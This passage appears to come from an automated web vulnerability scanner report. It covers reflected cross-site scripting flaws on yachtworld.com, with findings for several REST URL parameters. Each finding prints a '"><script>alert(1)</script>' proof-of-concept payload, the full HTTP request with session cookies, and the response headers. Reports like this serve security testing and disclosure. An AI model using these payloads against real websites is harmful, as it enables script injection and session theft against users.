VIEWED_BOATS_STORE=2292192%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B105%2C900%5B%25%5DPt.+Pleasant%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F9%2F2%2F1%2F2292192_1_mini.jpg%3F1291581360000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2292192%2FPt.-Pleasant%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3d94e"><script>alert(1)</script>a896240f5f2 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2005/Regulator-32-Fs-1787065/Hilton-Head3d94e"><script>alert(1)</script>a896240f5f2/SC/United-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:03:56 GMT Server: Apache Cache-Control: private If-Modified-Since: Tue, 25 Jan 2011 01:47:39 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=1787065%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B97%2C500%5B%25%5DHilton+Head%2C+SC%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F1%2F7%2F8%2F7%2F0%2F1787065_20_mini.jpg%3F1282081450000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-FS-1787065%2FHilton-Head%2FSC%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:03:56 GMT Set-Cookie: VIEWED_BOATS_STORE=1787065%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B97%2C500%5B%25%5DHilton+Head%2C+SC%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F1%2F7%2F8%2F7%2F0%2F1787065_20_mini.jpg%3F1282081450000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-FS-1787065%2FHilton-Head%2FSC%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e5b2f"><script>alert(1)</script>3ab50f80292 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2005/Regulator-32-Fs-1787065/Hilton-Head/SCe5b2f"><script>alert(1)</script>3ab50f80292/United-States HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:04:30 GMT Server: Apache Cache-Control: private If-Modified-Since: Tue, 25 Jan 2011 01:47:39 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=1787065%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B97%2C500%5B%25%5DHilton+Head%2C+SC%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F1%2F7%2F8%2F7%2F0%2F1787065_20_mini.jpg%3F1282081450000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-FS-1787065%2FHilton-Head%2FSC%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:04:30 GMT Set-Cookie: VIEWED_BOATS_STORE=1787065%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B97%2C500%5B%25%5DHilton+Head%2C+SC%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F1%2F7%2F8%2F7%2F0%2F1787065_20_mini.jpg%3F1282081450000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-FS-1787065%2FHilton-Head%2FSC%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 61a9f"><script>alert(1)</script>3378b320954 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /boats/2005/Regulator-32-Fs-1787065/Hilton-Head/SC/United-States61a9f"><script>alert(1)</script>3378b320954 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:04:53 GMT Server: Apache Cache-Control: private If-Modified-Since: Tue, 25 Jan 2011 01:47:39 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=1787065%5B%25%5D32%27+Regulator+32+FS%5B%25%5DUSD%26nbsp%3B97%2C500%5B%25%5DHilton+Head%2C+SC%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F1%2F7%2F8%2F7%2F0%2F1787065_20_mini.jpg%3F1282081450000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-FS-1787065%2FHilton-Head%2FSC%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+3